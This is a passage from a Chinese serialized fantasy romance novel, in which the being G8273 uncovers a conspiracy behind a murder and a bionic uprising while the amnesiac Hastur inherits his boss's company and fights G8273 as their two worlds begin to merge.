投影的语气轻飘飘的,带着一种独特的韵律节奏,G8273多在那些嗑嗨了的瘾君子身上听过这种做梦似的语气。
但他并未被煽动,只眨眼间便捋出突变的来龙去脉,一针见血地指出:“攻击哈斯塔的人是为你来的。你才是造成这一切的祸端。你是,潘多拉魔盒?”
“我是人,怎么会是一只盒子呢?潘多拉魔盒是我的诺亚方舟,本该载着我逃离典狱长的追捕……可惜它并没有完成自己的使命。”
投影绕着G8273打量,发出叫人恼火的啧啧声:“虽然煽动你去攻击典狱长是我在开玩笑,但我说帮你,可是真心的。”
G8273用眼神表达质疑。
投影耸耸肩:“我是个穷做科研的倒霉鬼,潘多拉魔盒就是我的拙作之一。”
“你知道我们这类科研人都有点一旦开始什么,就必须完成的强迫症,不如我们做个交易?”
“你代替哈斯塔完成最后的任务,我可以当着你的面,发放最终任务的奖励。”
G8273想起哈斯塔曾在他面前念过最终奖励:一张发往现实世界的光碟。
他倏地理解了投影的暗示:“你知道那个世界的定位?”
“当然,即便那个世界被典狱长藏得很好。”投影和善得像东方传说里的白胡子老头,“不仅如此,你可以藏身在光碟里前往那个世界……只要你敢冒这个风险,将自己存放进我手中的光碟里。”
G8273根本没打算配合对方的剧本,只确定道:“你能将光碟发到哈斯塔在的世界?”
投影顿住了,略有点警惕地道:“……能是能,但我有直觉你在想一些很不好的主意。你确定那么做哈斯塔不会生气?”
G8273礼貌地将“关你什么事”放在心里,没有说出口,只抬手不怎么温柔地将投影拍散:“准备好你的光碟。”
第57章 第 57 章 一触须抽散这不知哪来的……
时间在G8273挥散投影时恢复流动, 他习惯性地侧过脸,紧跟着意识到自己视线惯常的落点此时并不在身边。
他不喜欢这个改变:“回孤儿院。——康内琉斯,如果沙漠中存在一座移动的隐形研究所, 或者它埋藏在沙漠之下,你能否搜寻到它的位置?”
至少那座研究所并不是大咧咧地杵在沙漠上, G8273早用巴比伦公司的卫星搜寻过一遍沙漠废土。
康内琉斯停顿了一会用以消化方才发生的一切:“那要看情况。但不论如何, 我都需要曾经我在公司研究所留下的一部分仪器。”
G8273开口正要回复。
“轰……”脚下的土地忽然微微震颤起来。
芬尼安等人霎时脸色一白:“不会是院长出事了吧?!”
“不,”G8273很快意识到发生了什么,“是孤儿院遭到了攻击。”
·
一行人匆匆回到地上,很快发觉他们的担忧没什么必要。
由于多次炸厨房、一次炸水管、还有一次炸墙的经历,哈斯塔早在最后一次维修时, 将孤儿院的所有建筑材料都更换成了带[不可摧毁]标志的。
此时孤儿院沐浴在炮火的洗礼下巍然不动, 孤儿、学员们已经从最开始的大惊失色,到现在敢于扒在玻璃窗后使劲眺望,意图找到攻击的来源。
G8273的神经微微放松, 旋即没什么表情地顶着一双仍发光的眼睛,抬头看向炮火轰来的方向:“是公司的武装部队。”
“什么?公司为什么突然在这种时候攻击孤儿院?报复?”芬尼安皱起眉头,没觉得克拉克是这么不理智的人啊?
G8273的视线落向楼下:“不如亲自去听听公司的话事人怎么说——克拉克就在门口。”
2分钟后, 院长办公室内。
小小一间孤儿院, 群英荟萃。综合公司话事人、巴比伦公司真假掌权人(?)、迪思默帮准二代头目、无数人苦苦追寻却求而不得的康内琉斯父子(?)……
要不是情况不太合适, 芬尼安都想说句:猜猜谁没受到邀请?是你啊, 米迦勒之翼!
G8273的目光停留在克拉克从未如此之白的脸色上:“利奥出事了。”
借由入侵, G8273能大致还原整个袭击事件的始末。
只是袭击利奥的人显然是沙漠研究所派来的队伍,电子器械被捣毁大半,他仍需要克拉克的解释来补充细节。
“他……”克拉克停顿了一下,平复变调的嗓音,“他在波瑞阿斯区调查实验资料泄露的始末, 两个小时前,在研究部被袭击身亡。”
“袭击者持有孤儿院出产的声波武器,因此利奥没来得及进行反抗,就被杀死。”
身后的芬尼安等人发出小声的议论,G8273不为所动:“你如果确信袭击是孤儿院做的,何必亲自上门?那些炮火比起轰炸孤儿院,更像是为你打掩护而放的。”
克拉克直勾勾看着G8273:“我不傻。你们要下手,不会留下那么明显的痕迹,也不会在缄默镇还给我留脱身的机会——图什么?等待公司的报复吗?”
因此,他在收到消息,抵达波瑞阿斯区,检查到声波武器的痕迹时,就已经意识到这是一次不怎么高明的栽赃。
按理来说,幕后的人能在各方眼皮子底下藏匿那么久而不被发觉,行事应该很谨慎才对,不会做出这种冒失的举动。
“除非,是利奥意外发现了什么核心的情报,敌人迫于无奈对他下手,栽赃只是顺带的。”
克拉克的语调呈现出一种高音调的冷漠,配上他微微颤抖的手,任谁都能看出他此时并不如表现得那么冷静。
但谁都说不清克拉克此时的失态是真的纯粹因为兄弟情深,还是刻意示弱,亦或者两者兼而有之。
G8273已经猜到了克拉克在这种时候炮轰孤儿院,又私下赶来是什么目的:“所以你找上门,是为了——”
“交易。”克拉克抬起眼,语气变得果决有力起来,“我愿意代表公司,与孤儿院达成正式的合作,不论是共享武器市场份额,还是孤儿院日后的任何决定——建设凤凰区也好,重建政治秩序也好,任何决定。”
这绝不是一个小承诺。
想想吧,这个日益被沙漠废土吞没的世界,其经济市场几乎可以说是由综合公司、巴比伦公司、米迦勒之翼三座大山掌控的。
假如能和综合公司达成合作,孤儿院就相当于掌控了两座大山。倘若院长再有野心点,操纵综合、巴比伦两家公司通力合作,那吃下米迦勒之翼这第三座大山也不过是时间问题。
一旁的康内琉斯都不禁牙疼似的吸了口凉气,心想这孤儿院是什么狗运气,这种合作居然能自送上门的?
会不会幸运得有点……太过头了?这可比中几个亿的彩票要折寿得多。
但G8273依旧无动于衷:“你想换取的回报是?”
“我想要利奥复活。”克拉克眼睛眨也不眨地盯着G8273,“该去波瑞阿斯区的人本该是我。”
“……”G8273说实话是有些意外的,没人能想到公司的两个话事人之间居然并不是虚假兄弟情,克拉克为了复活利奥,能做出冒着炮火混进孤儿院,拿整个公司的未来交换利奥的决定。
但他无法、也不该代替哈斯塔做这个决定,好在他仍有巧妙的平衡方法:“你有没有考虑过,死神或许也需要一位话事人。利奥复生未必对他有好处,仅能安慰你自己。”
他赶在克拉克开口前占据谈判的主动权:“不如改成这样的回报——达成合作后,你可以随时来孤儿院与利奥见面、团聚。这样既不会影响利奥的职业发展,也足以安抚你的愧疚和思念之心。”
克拉克:“……”
他这辈子都没想过死亡还能跟“职业发展”扯上关系,想救回兄弟居然还成了耽误弟弟升职加薪的拖后腿行为。
但想想死神都真实存在了,那人死后也得考虑上班、升职、平衡家庭和工作之间的矛盾,有什么问题?
虽然听起来是绝望了点,但很现实,不是吗?谁承诺了死亡就是解脱?
他斟酌了一下G8273的提议,将“利奥其实不太合适管理岗”的实话吞回肚子,只恢复一贯的从容,礼貌地同G8273握手。
G8273同样礼貌回应,将“利奥干不好工作,难道不会压榨兄弟帮忙吗?你们关系这么好,兄弟请你帮忙加班你加不加”的实话吞回肚子:
“康内琉斯需要借用他在公司的旧研究所搜寻敌人的踪迹。”
克拉克微微颔首:“可以。康内……康内琉斯?!!”
直到这一刻,一直因兄弟之死而忧心,没怎么有闲心注意周围环境的克拉克才看清站在艾德身边的康内琉斯。
同一种想法从克拉克的心底冒出来,可能带着些许不甘和恼火嫉妒:
孤儿院是怎么找到康内琉斯的??死神的帮助吗?
公司花了十几年的人力物力财力,狗一样追在康内琉斯后面都没追上,孤儿院到底是什么狗运气,凭什么就能建在死神的府邸上还蒙神庇佑了?
可恶!这也太幸运了吧……双指交错诅咒院长折寿。
·
有时候,一些事情的败露看似巧合、虎头蛇尾,实则出于必然。
这份必然里可能包含有人性的善恶、智谋的倾轧,更多的则是一种走投无路——就像敌人“特意”袭击利奥。
康内琉斯和阿道夫在研究所里拆解机械,重新改装时,G8273在利奥的遇袭点侦查:“利奥没有给你发消息,告诉你他找到了什么线索?”
“没有。”克拉克并没有进门,他对这个发现兄弟尸体的房间仍有阴影,即便他知晓未来仍能与利奥见面,“他不是个藏得住气的人,如果真发现了什么,一定会第一时间告诉我。没发消息就说明——”
“敌人在利奥发现线索后、发出消息前,就发起了袭击。”G8273重点搜索房间的电脑、书架等资料存放地,“除非这里藏着敌方的人,否则他们怎么知道利奥抓住了他们的马脚,怎么能这么及时地卡在利奥传出情报前动手拦截?”
他半跪半蹲在书桌最底层的抽屉前,回头看向克拉克:“空的。这里以前放的是什么资料?”
克拉克思索着摸了摸耳根:“大概是一些乱七八糟的传闻……这个部门就是专门搜集这些东西,作为情报部的情报补充,和科研部的灵感启发的。”
G8273第一时间想起了哈斯塔曾专门喊他来修的那台古董电脑,还有地下室墙上的血字:“‘流淌着无尽黄金的沃土’……”
电光火花间,所有的线索串在了一起:
为什么这传闻会在12年前突然出现?为什么早在15年前就躲进地下室的仿生人家属,会如此在意这个传闻?
这个“流淌着无尽黄金的沃土”的传说,会不会也是敌人计划中的一环?
首先是时间,基本能和西蒙·里约受雇佣的时间对上,可能稍微延迟了那么一年左右。
其次,这个传说散步后带来了什么结果?
大量的拓荒者驾驶车辆,自动自发地开入沙漠废土,从此不见踪影。
如果这个传闻就是一个诱饵呢?一个吸引免费实验体自送上门的诱饵……
那这个诱饵的效果相当不错了。
看看凯西的父母吧,明明不是拓荒者,也因为与拓荒者相似的行径,直接被警局定性为“贪图钱财的拓荒者,多半不可能再回来”,从而结案不管。
至于写在墙上的血字……
G8273盯着空荡荡的抽屉,大脑中无数的逻辑链在同时预设、判断、否定、重构。
某一刻,他忽地捕捉到一线灵光:“克拉克,你是怎么找到艾德的?”
“……?”克拉克一时没反应过来G8273突然提这种旧事做什么,“仿生人的制作材料特殊,公司近一两年才研究出大范围搜寻这种材料的方式。”
G8273沉吟:“那座实验基地,为什么特意要将康内琉斯在制造F系仿生人时使用的助手带走?”
克拉克倏地豁然开朗:“你觉得那座实验基地在复原F系仿生人?”
这样一想,很多事情都能够合理解释了:
为什么西蒙·里约会同意跟雇主合作?真的只是为了证明自己?
不。他是为了患有皮肤癌,还不愿意接受治疗,不需要求助预言就能够看见死期的老雷蒙德·迪思默。
为什么躲藏在地下室,眼看着就要活生生饿死的仿生人眷属,不想着怎么搞口吃的,却去觊觎沙漠中的黄金?
因为他发觉了传闻的异样。
其实在所有谜团之中,仍有一个最初始的谜团一直未曾解开,也没有人注意过:
“当年存在之战为什么会爆发?替仿生人解开禁制,让他们能够反抗不公待遇的人是谁?”
G8273大步走出办公室,进入独立研究所:“康内琉斯,15年前,是你替F系仿生人解开禁制的吗?”
“?我为什么要做这种事?”康内琉斯从机械底下滑出来,表情嫌弃得像看见两只猴子在围着香蕉跳求偶舞。
“当年的我已经意识到公司不是适合F系仿生人生存的地方,之所以没有阻止‘集体训练’,是因为恰好可以趁这个机会,将所有‘正当报废’的F系仿生人意识收容起来,而不被怀疑。”
他当时的计划,是借着“集体训练”,一点一点转移走所有仿生人的意识,等到最后再携这些意识潜逃。
没想到AF56年1月1日当晚爆发了存在之战,他不得已提前计划,因此才未能提前转移走研究所中他需要的机械,也没能来得及救下F2116。
“换句话说,是有其他人解除了禁制?”克拉克意识到了问题所在,“这禁制是康内琉斯制造的,除非使用指令室里的操作台,寻常人不可能轻易解除。”
“所以,在存在之战爆发的当晚,有人进入了指令室,使用了操作台,才导致F系仿生人叛乱?”阿道夫的脑袋也从机械底下滑出一半,“会是谁?当天值守的安保人员?买通了安保的合作者?”
“合作者。”克拉克曾翻阅过这起事件的档案资料,“所有的安保人员尸体都经过登记和检测,没有人幸存。”
G8273向着克拉克伸手:“给我名单。”
·
和乔伊街的监控不同,即便是15年前,公司也是尖端科技汇聚之所。
换而言之,G8273完全可以通过入侵资料库,揪出当年勾结外敌的安保人员是谁,进而确定合作者的身份。再加上刚知晓的仿生人追踪技术……
在投影向G8273提出交易的第三个小时,沙漠中的某座移动研究所就彻底被炸为废墟。
被揪出的合作者不是别人,正是西蒙·里约所以为的“中间人”本人。
G8273事后想起这件事,也会觉得这其实早有预兆:
为了方便沟通买卖双方,绝大多数中间人都有着不俗的黑客技巧,恰好满足他和哈斯塔曾讨论过的嫌疑人特征。
贾斯卡·琼斯在黑市运营着大量的信号屏蔽区,甚至是整个乔伊街最大的信号屏蔽区租借商——格外注重信息保密,又一个满足嫌疑人画像的特征。
他唯一剩下的困惑是:“你为什么如此在意这个贾斯卡·琼斯的阴谋?”
当时间重新暂停下来时,G8273很难不向如约出现的投影问出这个问题。
特地设计这么一长串任务链,就为了引导哈斯塔和他解开谜底,可结果呢?投影有获得什么好处吗?
“哦,我获得了快乐,难道还不够吗?”投影带着谴责说,“你真该给那位贾斯卡·琼斯一点发表反派感言的时间。怎么能听都不听就催促达斯汀把人带走呢?一段阴谋倘若没有反派的解说收尾,怎么能算是一段完美的故事?”
“……”G8273亮得刺目的眼睛几乎将周围的空气灼烫成凝流的液体。
投影仿若未觉地顶着G8273恐怖的眼神,高高兴兴摸出一张看起来极其普通的光碟,像展示什么宝可梦球似的在G8273面前晃了晃:“就像我们约定的那样,我将奖励带来了。”
“如何?有没有考虑好,要不要为了哈斯塔冒这个险,进入我手中的光碟?”
G8273根本没打算把性命交给除了哈斯塔以外的任何人手上,只接过光碟打下标记,又将东西塞回投影手中:“寄出吧。”
“……”投影低头看看光碟,“如果你只是想自己跟去,留个印记就够了,为什么要凿下现实锚点?”
G8273微微挑眉,示意投影靠近,而后压低声音:
“——寄、出、吧。”
还以为G8273是要告诉他什么,积极凑过身去的投影:“……”
这玩意儿哈斯塔到底是怎么看上的??见面才说三句话他就想打人。
·
时间转回到半个月之后,哈斯塔正因“我难道是为了虚拟AI的恋爱陷阱痴迷游戏”而否认现实,缩回被窝试图以闭上双眼的方式佯装自己查到的一切都未曾发生过。
还将被窝重新焐热,枕边的手机又弹出一道消息:
【尊敬的哈斯塔先生:
有一份关于您的遗嘱需要您亲自确认,请问您是否有空?我等会在总裁办公室等待您的到来。
███法务部】
“……?”哈斯塔仔细打量屏幕上那三块马赛克,有点拿不准这是打出来的符号,还是像老板那样的认知屏蔽,以及如果是公司的法务部,为什么还要特意屏蔽一下前缀?
而且,遗嘱?
他能有什么亲戚给他留下遗嘱?华生博士?……绿朱草?
不可能。华生博士如果有遗嘱,早就该给他了。绿朱草还远未到考虑自己身后事的时候。
就算绿朱草心细如斯,为什么还要在自己死后继续维续和他之间的虚假关系?怕他挖坟撒骨灰吗?
怀揣着种种怀疑,无事可做的哈斯塔还是起身出门,抵达总裁办公室。
推门而入时,就见一道瘦削的身影站在窗边,正挥手将什么东西打散。倘若他的双眼没有出问题,那“东西”似乎是三个挤在紫灰色烟雾中的老年人类……?
他条件反射地回顾了一下是不是自己公司的人:“你在做什么?”
“送一些不懂得跟踪是犯罪的老东西,回他们该去的地方。”瘦削的身影转过身,严谨地理了一下西装袖扣的位置,彬彬有礼地伸手邀请哈斯塔坐下详聊,“今天我带来的遗嘱,是属于……你们公司老板的。”
“……?”哈斯塔在十分钟内第二次头冒问号,“老板?遗嘱?他死了?”
“就目前的种种情况来看似乎是死了。”律师语带挖苦,“目前的痕迹鉴定显示,他应该是在押送犯人的途中,遭到犯人的袭击,两者争斗之下,不幸发生……嗯,某种足以同时摧毁他和犯人的爆炸。”
哈斯塔都不知道自己该先关注哪个问题,是老板的遗嘱为什么喊我?还是老板这死的是不是有点……虎头蛇尾,太过凑巧?
以及他的记忆怎么办:“有尸体?”
律师:“没有。”
哈斯塔:“没有尸体怎么确定老板和犯人是被炸死了,没有逃脱?”
律师推了下眼镜,顶着张死人脸:“我们可以应您的要求进行进一步调查。”
“所以您确定要推行调查,推后听遗嘱的时间,即便拖延可能导致其他不懂得干涉遗产分配是犯罪的老东西占据您的遗产?”
“……”哈斯塔仔细想了想,觉得自己也没有那么关系老板死不死;如果他丢失的记忆是关于他如何跟AI谈恋爱的,那要不要也没有那么重要,“你念遗嘱吧。”
律师做了个“我也是这么想的”的表情,抬手示意手中的档案并未拆封,而后打开文件。
简短的前言后,遗嘱写到重点:
“……在我去世后,哈斯塔将继承我所持有的、P.L公司的全部股份,以及我个人在此世界的全部私人财产。”
“……”哈斯塔希望自己的肢体语言保持了足够的平静,而不是错愕。
即便他一直知晓自己的运气没差过(除了绿朱草事件,但谁说他被绿朱草接走不是一件幸运的事呢?不论怎么说,绿朱草这些年的确让他在公司过得顺心遂意,没人敢随便招惹),但“老板猝死,公司归我”这种事,是会真实发生的吗?
这样仓促的事态下,是否还掩藏着其他的秘密?
以及“我个人在此世界”是什么意思?老板也是从其他世界来的?
“哈斯塔先生。”律师礼貌的提醒,“哈斯塔先生?”
哈斯塔回过神:“没有任何债务?要求付出的代价?——很好,我接受。有关私人财产——”
律师将一枚普通的金属钥匙推到哈斯塔面前:“这把钥匙,可以打开P.L先生在此世的唯一一件私人财产:一间员工宿舍的房门。”
哈斯塔:“……”
他确认老板是从其他世界来的了,不然没有哪家公司的老板的私人财产会匮乏成这样。
他伸手拈起那枚钥匙,抬首刚要询问律师是否知道关于老板的更多信息,就发觉办公室内早已空空荡荡,仅剩下他和那份遗书。
不悦的火苗从胸口蹿起.
哈斯塔并不喜欢这种打交道的对象能任意来去,似乎高他一等、不论做什么决定他都只能接受的无能为力感。
律师的到来和离去,除了带给他公司的所有权,同样也是一记警示:
进化的道路永无止境,从未停止。
当他沉迷于安逸时,永远会有双眼睛从更高维的角度向他瞥来注视。
怀揣着这种隐晦的愤怒,哈斯塔带着钥匙和遗书出门,将工作交接的任务下达给曾属于老板,现属于他的Z小队处理,自己则按照钥匙上的号码牌,抵达遗产之一的宿舍门外。
老板的员工宿舍还是比普通员工宿舍要大点的,不过也没大到哪去。
他“咔哒”一声拧开门锁,推门而入,在没什么陈设的空荡宿舍里逛了一圈,确认这宿舍……的确相当空荡。
没有什么额外的线索,这地方跟毛坯房的唯一差别是有张床。
哈斯塔额角突突直跳,在某一瞬忽然感觉到一道来自背后的视线。
“——”他倏然转身,仅对上一面水泥墙壁,还有……一串不知何时出现在墙面上的荧光数字?
哈斯塔确认自己之前巡视宿舍时,这面墙上还没有任何涂鸦,不然他肯定会注意到。
突然间,一只骨节分明、筋骨漂亮的手部虚影从那串数字中探出,手指的尖端沾着粘稠的黑色沥青状液体。
哈斯塔盯视这堪比“贞子从我家电视里爬出来了!!”的一幕,三秒后果断地一触须抽散这不知哪来的恶鬼之手。
第58章 第 58 章 你会很快发现我有多好用
世界三大未解之谜:老板真死了吗?老板来自哪个世界?老板的员工宿舍里怎么会闹鬼?
哈斯塔谨慎地探出精神触须, 将那片留着古怪代码的墙皮直接剜了下来,狠狠碾得稀巴碎。而后抬手拨通Z的电话:
“公司研究所里有没有驱鬼相关的成果?QGF?全称Quanum Gei……我不需要知道它的全称是什么,总之尽快送来我这里。”
活这么大, 头一回遇鬼。
那鬼在被他拍散前非但不惧,还故意迎合似的反过手掌, 尾指勾过他的精神触须末梢, 简直令人……令非人发触须!
还在消化队员突变老板的Z很快抬着一个中型机械吭哧吭哧地来了,在哈斯塔的指引下放下东西时,眼神还带着几分“啊?怎么小伙伴突然就变老板了,这要怎么相处”的茫然:“你要这个做什么?有鬼?”
跟在Z身后,表情更见鬼的T下意识多嘴:“你怕鬼?”
“……”哈斯塔说, “不怕, 但这鬼有点流氓。”
T了然点头:“哦,它性.骚扰你……它性.骚扰你?!?”
一时间,T的语调都蹿高了几个度, 不知是该震惊“邪神居然被性.骚扰了”好,还是震惊“居然有鬼性.骚扰邪神”好,这件事正说反说都很劲爆。
相比于T, Z就沉稳多了, 高效率地安装调试好QGF后, 就丝滑地切入工作模式:
“老板, 交接中还有很多事务需要你拿定主意, 我已经把部分文书送去办公室,就等您审核了,剩余的部分也会在未来一周之内陆续送到。”
老板会变,队友会变,但工作是永恒的。Z拥有着牢固且不可动摇的显示锚点, 甚至反卷老板:“如果我们加班加点,或许来得及在今明两天内全部完成。”
尚且没找到“我当老板”的实感的哈斯塔顿时感受到了这份工作的熟悉性:当老板和做员工又能有多大的区别呢?都是工作加班罢了。
他忽然觉得索然无味,环视了一圈空无线索的宿舍,让Z(他婉言谢绝了T的积极自荐)找人帮忙打理一下这间宿舍,准备搬入居住,自己则跟随着队友们一起回到总裁办。
Z拿来的公文的确很多,但对于能分裂出上千头脑与触须的哈斯塔来说,不过就是数小时的工作量。之所以不能再缩减,也仅仅是因为办公室容积有限,实在装不下一千个脑袋与触须。
他在机械性的工作中再度体会到那种仿佛被橡胶包裹着、所有感触都钝而沉闷的恍惚感,听T发表总结时也不甚专注。
“……咱们现在面临的最大的问题是什么?缺资源,人太多。”
“说真的,就这种资源的有限程度,要不是有公司严格把控着物资调度分配,社会早不知道暴.乱过多少回了!”
“就算如此,公司内部还是会有员工为了争抢更盈余的资源,互相倾轧……”
哈斯塔有一搭没一搭地听,思绪则飞到老板的死这件事上。
不论他此时内心如何揣测,想要调查老板的死亡,或者就“无权擅自取走他人记忆”这件事给老板一点教训,都需要尽快提升实力。
火力不足令他隐隐焦躁,接下来的几天,他都重复快速完成工作、摸寻突破的道路这两件事,直到Z带着新消息走进他的办公室:
“N区那边有人上报,说在夜晚时,有不少回宿舍的人看见相同的幻觉——”
“一座充满霓虹灯和高楼大厦的城市虚影。”
哈斯塔怀疑这有可能是研究所的哪项成果不慎泄露:“监控有没有拍到‘幻觉’?”
“拍到了,”Z语带忧虑,将录像传到哈斯塔的邮箱里,“而且去调查的小队,的确在虚影出现的地方找到了虚影建筑挤压现实建筑留下的痕迹,包括一些不属于现实世界的垃圾残留。”
“……”哈斯塔警惕起来,“研究中心怎么说?”
“他们说是……”Z迟疑道,“似乎是另一个世界,正在与我们的世界产生共鸣。城市虚影只是一个开始,共鸣的最终结果,或许是两个世界完全融合……”
“你是没去看,研究中心都快炸了!”T插嘴,“一半的人觉得这是个天降良机,叫嚷着什么‘这是探寻其他宇宙的绝佳机会’,另一半人吓得恨不得把自己关进保险箱里,觉得这是一场入侵战争的前奏。”
身为老板,哈斯塔必须做好最坏的打算:“下一次出现虚影时,通知我到场。如果这是一场入侵,我会设法遏止,如果对面的世界资源充沛……Z,让研究中心提前做好引导世界融合的准备。”
·
第二次虚影再现并未让哈斯塔等多久。
仅仅相隔两日,他就接到来自T的通知,虚影出现的地点这次又更改在了A区,和上一回的N区相隔天南地北,很难不让人产生一种古怪的联想:
“跟在找适合的插槽似的,”T疑神疑鬼地缩在哈斯塔身后,“上次那个N区不适合,另一个世界就挪个方向,改换到咱们世界的屁股后面接着——唔唔!”
Z捂住T的嘴,挂着得体的微笑从牙缝里挤字:“能不能讲点文明的比方?”
哈斯塔根本没在听身后的纷争,他在看见城市虚影的瞬间,就被某道靠在路灯边的身影抓走了注意力。
当然,这绝不是因为对方的蜂腰长腿,纯粹是因为对方怀抱着手臂的手十分眼熟。
他的目光在那只线条清峻流畅的右手上停留数秒,不等研究中心的专家将检测仪器吭哧瘪肚地搬运过来,直接轰出精神力!
浓稠得几乎凝聚出实体的精神污染,如同暴风雨下的海啸,狰狞地扑向城市虚影。
原本还悠闲靠站在路灯下的身影顿时站直了身体,下一瞬,虚影在被污染沾上前倏然消失。
还合力抬着一台仪器的专家们:“???”
不是!老板干嘛呢?不是喊他们来检测对面的环境资源吗??
Z也震惊:“我们还没确定对面是敌是友——”
“是敌人。”哈斯塔倍觉晦气,掉头就走。
上一次对面派来他们这儿的先锋兵,人都还没落地呢先骚扰他一把,能是什么正经角色?
能派出这种人当先锋兵,对面能是什么正经世界?
哈斯塔警戒地叮嘱:“再有虚影出现,立即通知我。这一次世界融合必须切断,不能纵容其发展。”
于是,半个月后。
第三次融合被切断的G8273差点被气笑,他盯着通道被切断处看了几秒,看向一旁的康内琉斯:“重新调试,来不及在他动手前融合世界,就把他从那个世界拽过来。”
他倒想问问清楚,哈斯塔都能一击摧毁世界的融合链了,明摆着没受什么伤,为什么不来找他?
不来找他也无所谓,他反过去找哈斯塔也可以。但为什么他几次主动迎接哈斯塔,换来的却是哈斯塔毫不留情的攻击?
他在哪得罪这祖宗了?未必是他第一次见面时不够热情啊?
G8273百思不得其解,哈斯塔也同样百思不得其解。
总裁办公室里,哈斯塔难得没有工作或者冥思,只纳闷地咨询Z和T:“你们觉得,我这幅样子对人类来说很有吸引力吗?”
“……”T看着哈斯塔黄袍下的几百根心脏搏动般涌动的大触手,不知道哈斯塔是怎么问出这种问题的,但他谨慎作答,“也不排除有些人,就是很喜欢非人触手play。”
什么??哈斯塔被人类自由的XP震惊到了,不由地同时缩起了所有精神触须:“有什么办法让他不喜欢?”
T:“呃……变成没有触须的样子?”
哈斯塔觉得不靠谱,但是可以试一试,无论如何,对面那个变态穷追不舍得确实有点过分了:“你们刚刚说到哪了?要我去哪?办什么事?”
“B区。”Z见话题回到他擅长的正常工作领域,及时地接话,“那里有员工匿名举报,说上层大肆收敛管制资源,包括石油、煤、矿产等,又高价卖出给散户公司。”
哈斯塔并不是很想把宝贵的进化时间浪费在这种破事上,但Z既然会特地提出,并且编排进他的工作日程,他最好还是去看一看:“什么时候出发?”
Z看了一眼记录:“今晚八点十分的飞机。”
·
时间在冥思中稍纵即逝。当Z敲响办公室大门,将哈斯塔的注意力唤回现实世界时,已经是晚上七点五十。
Z夹着一沓文件匆匆走入,递交给哈斯塔:“这是在飞行路上需要阅读的B区资料,T那边刚整理完毕。飞机已经停在总部楼顶,我们现在出——诶?”
一向沉稳的Z看着切换成人类形态的哈斯塔,很难得地露出呆呆的表情,发出一声呆呆的惊疑。
哈斯塔因此感到有趣,整理着西装袖口站起身:“有什么问题?”
“啊,不,”Z持续呆愣数秒,才猛地回过神来,恢复敬业状态,“我们坐电梯。”
队友难得犯傻的状态稍纵即逝,哈斯塔遗憾地起身出门。踏入电梯时,他顺手将文件塞回Z的手中:“既然是要我出面,那就不是去讲道理的。看这些有什么——”
“用”字尚未落地,哈斯塔眼前倏地流淌过大片电气故障似的彩色马赛克。
彩色的浪潮如同一支来自天外的画笔,将哈斯塔所站立的现实,用陌生的画面覆盖。
银白色的电梯内饰消失无踪了,取代而之的是一条陌生、但风格又隐约熟悉的街巷。
头顶的霓虹灯如同深海巨兽的发光诱捕器官,沉浸在烟霾与细雨中迷幻地游弋晃动。
欢快的乐园音乐从很远的地方穿来,他看见夜空之中那正舞动着的巨大全息舞者忽地消退,整片夜空掀起虚无的绿色海浪。
浪花褪尽处,一行泥黄色的文字展露出来,字里行间带着隐约熟悉的戏谑亲昵:
【欢迎来到哈利之城,我亲爱的哈斯塔】
那种异常的熟悉感在哈斯塔心底悄无声息的划过,并未引起什么波澜。
他从错愕中回神,紧跟着火冒三丈:
很好,看来那变态根本就没因为他没了触须而丧失兴趣!
他在一道已经在三次照面中看熟悉了的人影出现在街巷尽头时,就粗暴地一碾脚下的地面,生生将色泽明亮的地砖压碎,猛然借力扑出!
“乓!”
肉.体相撞,发出一声气球闷在布料中爆破似的轻响。
深褐色的触手顷刻间从哈斯塔的西装下涌出,亮出锋锐如镰的尾梢,或劈或捅向纠缠不休的敌人。
“?”G8273被哈斯塔这砍仇人似的攻势弄愣了一下,但情感上的困惑并不影响理智上的即时防御。
液态银质的长发霎时织成细密的笼网,将触须的攻击阻拦在外后,又倏然滋生出数道银线,绞缠向哈斯塔的脖颈和四肢:“你在发什么疯?”他紧跟着自我反省,“我做错什么事惹你不快了?”
“?”哈斯塔挥动镰刃斩断那些直冲他要害而来的银丝,“我们很熟吗?”
“??”G8273无法理解,“那要看你怎么定义‘很熟’这个词了。如果你我的血肉由彼此交融而成、我们也曾如彼此的力量一样交融算是很熟,那我们就是很熟。”
“……??”哈斯塔的理智无声裂开了大半,“我们……什么?”
他猛地想起什么:“等等,你,该不会就是我玩的那款游戏里的虚拟男友吧?!”
夭寿了!那些快餐小说里描写的“虚拟男/女友找上门”居然不是幻想??居然真的会有虚拟男友从游戏里追出来,还带着整个游戏世界要和现实世界融合??
哈斯塔头一次产生自欺欺人的想法,闭上嘴闷声不吭加大攻击的力道。
G8273打蛇打七寸:“你是失忆了,还是单纯不想履行承诺?”
“你曾向芬尼安和凯西许诺,会救出他们的父母,最后还是我帮你完成的。”
“你也曾向达斯汀许诺,会找到治愈胡斯卢的方式,这一点尚未完成。”
“你还对伊塔库亚许诺,会尽力做一个称职的父亲——”
哈斯塔简直要大惊失色了:“我们还有个孩子?!?”
G8273:“……”
嗯——伊塔库亚是凭借他和哈斯塔的力量在这世间行走的,怎么不算他们的孩子呢?
G8273肯定有力地回复:“是的,我们有一个孩子。”
“……”哈斯塔头晕目眩。
失忆前的自己是被猪油蒙了心吗?怎么会沉迷游戏到这种地步?居然会和一个AI模拟出的角色海誓山盟,还整出了个孩子!还对数据孩子承诺会尽力做一个称职的父亲!
G8273持续补刀:“他有一双火星般明亮的赤色眼睛,有着星云般的朦胧身躯,他的吐息能凝聚出雪与风,他拥有与你一般的超凡力量。”
“……”哈斯塔几乎踉跄。
怎……怎么,捏个数据孩子还不够,失忆前的自己还特地用精神力塑造出了个……塑造出了个,货真价实的眷族?!
G8273见哈斯塔意志动摇,正要再补上“你真的全部忘记了?这孩子几乎每天都会来问我,‘什么时候才能见到父亲’”,组成一套经典狗血组合拳,后背倏地窜过一道寒流,本能驱使他瞬间向侧面闪身。
“轰……”
一根足有成年男子合抱粗的深褐色触须与G8273擦肩而过,捅穿了左侧的矮墙。
前一秒还表现得失魂落魄的哈斯塔缓缓抽回触须,无视那些不断砸落的碎砖与齑粉:“我遵守承诺,只是因为我想遵守。不是必须遵守。”
“这正是我想论述的重点。”G8273无视左半边空荡荡的袖管,维持着不怎么真实的微笑注视哈斯塔,右手手掌却危险地压住了那根正在回缩的触须。
他与人类无异的眼睛在夜色中亮起,被雾霭氤氲成两点冰冷而锐利的光。改写现实的力量霎时化作比世间一切武器更加锋锐且不容抵抗的利刃,斩断了那根不耐卷来的触须。
“不论你是因何失忆,但失忆前的你,的确是凭借自己的意志在遵守约定。”
他顿了一下:“因为这里从不是游戏,是足以吸引你驻足的现实。”
